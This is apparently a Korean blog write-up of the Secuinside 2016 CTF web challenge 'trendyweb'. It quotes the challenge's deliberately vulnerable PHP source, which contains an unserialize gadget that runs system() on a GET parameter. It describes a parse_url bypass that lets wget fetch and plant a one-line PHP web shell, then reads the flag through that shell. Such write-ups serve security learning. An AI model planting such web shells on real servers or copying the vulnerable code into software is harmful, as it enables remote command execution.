본문 바로가기

0x400 CTF/0x402 Secuinside 2016

[Web] trendyweb - 100pts

해당 문제에 대한 주어진 정보이다.


/(root)에 있는 flag를 읽는 것이 목적이다.


문제에서 Source가 주어졌으며 이를 분석해보자.

(https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859)


<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }
	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}
	session_start();
	register_shutdown_function('onShutdown');
	function set_context($id) {
		global $_SESSION, $session_path;
		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);
		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}
	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}
	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

ini_set('allow_url_fopen', 'On');

allow_url_fopen이 On되어있는걸로 봐서 LFI나 RFI취약점이 있을거라 예상하였다.


우선 사이트로 접속을 해보면 엑박이 페이지에 출력된다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png

상위 폴더로 올라가보면 Directory Listing 가능하다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/


존재하는 파일은 pickle이다.

pickle의 내용은 쓸모가 없는 내용이다.


다시 Source로 돌아가보면 download_image를 통해 이미지를 다운로드 하는데 POST값으로 image를 넘기고, 이 값에 parse_url한 값의 path부분이 /avatar.png인 경우 wget명령어를 통해 이미지 파일을 다운 받는다.


"http://0.0.0.0/avatar.png?n=shpik"의 주소에서 parse_url의 path부분은 /avatar.png가 되므로 ?뒤에 .php를 붙이는 것으로 parse_url를 우회하여 다음과 같은 웹쉘을 업로드 하였다.


<?php system($_GET['c']);?>

이를 통해 /(root)에 `flag_is_heeeeeeeereeeeeee`란 파일이 존재함을 알았다.


http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png%3f3.php?c=/flag_is_heeeeeeeereeeeeee


flag is

1-day is not trendy enough  ]

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13